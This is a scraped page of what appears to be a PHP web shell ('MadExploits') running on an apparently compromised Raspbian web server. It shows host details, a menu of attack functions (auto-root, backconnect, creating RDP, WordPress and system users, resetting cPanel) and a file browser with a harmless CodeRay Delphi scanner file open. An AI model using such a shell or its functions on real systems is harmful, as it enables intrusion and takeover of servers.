Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
coderay /
scanners /
[ HOME SHELL ]
Name
Size
Permission
Action
java
[ DIR ]
drwxr-xr-x
ruby
[ DIR ]
drwxr-xr-x
_map.rb
502
B
-rw-r--r--
c.rb
5.5
KB
-rw-r--r--
clojure.rb
10.26
KB
-rw-r--r--
cpp.rb
6.58
KB
-rw-r--r--
css.rb
5.87
KB
-rw-r--r--
debug.rb
1.74
KB
-rw-r--r--
delphi.rb
4.63
KB
-rw-r--r--
diff.rb
7.95
KB
-rw-r--r--
erb.rb
1.76
KB
-rw-r--r--
go.rb
6.5
KB
-rw-r--r--
groovy.rb
9.37
KB
-rw-r--r--
haml.rb
5.06
KB
-rw-r--r--
html.rb
8.69
KB
-rw-r--r--
java.rb
5.54
KB
-rw-r--r--
java_script.rb
7.78
KB
-rw-r--r--
json.rb
2.67
KB
-rw-r--r--
lua.rb
10.95
KB
-rw-r--r--
php.rb
24.35
KB
-rw-r--r--
python.rb
9.88
KB
-rw-r--r--
raydebug.rb
1.79
KB
-rw-r--r--
ruby.rb
17.4
KB
-rw-r--r--
sass.rb
7.63
KB
-rw-r--r--
scanner.rb
9.34
KB
-rw-r--r--
sql.rb
5.32
KB
-rw-r--r--
taskpaper.rb
1.01
KB
-rw-r--r--
text.rb
460
B
-rw-r--r--
xml.rb
216
B
-rw-r--r--
yaml.rb
4.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delphi.rb
module CodeRay module Scanners # Scanner for the Delphi language (Object Pascal). # # Alias: +pascal+ class Delphi < Scanner register_for :delphi file_extension 'pas' KEYWORDS = [ 'and', 'array', 'as', 'at', 'asm', 'at', 'begin', 'case', 'class', 'const', 'constructor', 'destructor', 'dispinterface', 'div', 'do', 'downto', 'else', 'end', 'except', 'exports', 'file', 'finalization', 'finally', 'for', 'function', 'goto', 'if', 'implementation', 'in', 'inherited', 'initialization', 'inline', 'interface', 'is', 'label', 'library', 'mod', 'nil', 'not', 'object', 'of', 'or', 'out', 'packed', 'procedure', 'program', 'property', 'raise', 'record', 'repeat', 'resourcestring', 'set', 'shl', 'shr', 'string', 'then', 'threadvar', 'to', 'try', 'type', 'unit', 'until', 'uses', 'var', 'while', 'with', 'xor', 'on', ] # :nodoc: DIRECTIVES = [ 'absolute', 'abstract', 'assembler', 'at', 'automated', 'cdecl', 'contains', 'deprecated', 'dispid', 'dynamic', 'export', 'external', 'far', 'forward', 'implements', 'local', 'near', 'nodefault', 'on', 'overload', 'override', 'package', 'pascal', 'platform', 'private', 'protected', 'public', 'published', 'read', 'readonly', 'register', 'reintroduce', 'requires', 'resident', 'safecall', 'stdcall', 'stored', 'varargs', 'virtual', 'write', 'writeonly', ] # :nodoc: IDENT_KIND = WordList::CaseIgnoring.new(:ident). add(KEYWORDS, :keyword). add(DIRECTIVES, :directive) # :nodoc: NAME_FOLLOWS = WordList::CaseIgnoring.new(false). add(%w(procedure function .)) # :nodoc: protected def scan_tokens encoder, options state = :initial last_token = '' until eos? if state == :initial if match = scan(/ \s+ /x) encoder.text_token match, :space next elsif match = scan(%r! \{ \$ [^}]* \}? | \(\* \$ (?: .*? \*\) | .* ) !mx) encoder.text_token match, :preprocessor next elsif match = scan(%r! // [^\n]* | \{ [^}]* \}? | \(\* (?: .*? \*\) | .* ) !mx) encoder.text_token match, :comment next elsif match = scan(/ <[>=]? | >=? | :=? | [-+=*\/;,@\^|\(\)\[\]] | \.\. /x) encoder.text_token match, :operator elsif match = scan(/\./) encoder.text_token match, :operator next if last_token == 'end' elsif match = scan(/ [A-Za-z_][A-Za-z_0-9]* /x) encoder.text_token match, NAME_FOLLOWS[last_token] ? :ident : IDENT_KIND[match] elsif match = skip(/ ' ( [^\n']|'' ) (?:'|$) /x) encoder.begin_group :char encoder.text_token "'", :delimiter encoder.text_token self[1], :content encoder.text_token "'", :delimiter encoder.end_group :char next elsif match = scan(/ ' /x) encoder.begin_group :string encoder.text_token match, :delimiter state = :string elsif match = scan(/ \# (?: \d+ | \$[0-9A-Fa-f]+ ) /x) encoder.text_token match, :char elsif match = scan(/ \$ [0-9A-Fa-f]+ /x) encoder.text_token match, :hex elsif match = scan(/ (?: \d+ ) (?![eE]|\.[^.]) /x) encoder.text_token match, :integer elsif match = scan(/ \d+ (?: \.\d+ (?: [eE][+-]? \d+ )? | [eE][+-]? \d+ ) /x) encoder.text_token match, :float else encoder.text_token getch, :error next end elsif state == :string if match = scan(/[^\n']+/) encoder.text_token match, :content elsif match = scan(/''/) encoder.text_token match, :char elsif match = scan(/'/) encoder.text_token match, :delimiter encoder.end_group :string state = :initial next elsif match = scan(/\n/) encoder.end_group :string encoder.text_token match, :space state = :initial else raise "else case \' reached; %p not handled." % peek(1), encoder end else raise 'else-case reached', encoder end last_token = match end if state == :string encoder.end_group state end encoder end end end end
Close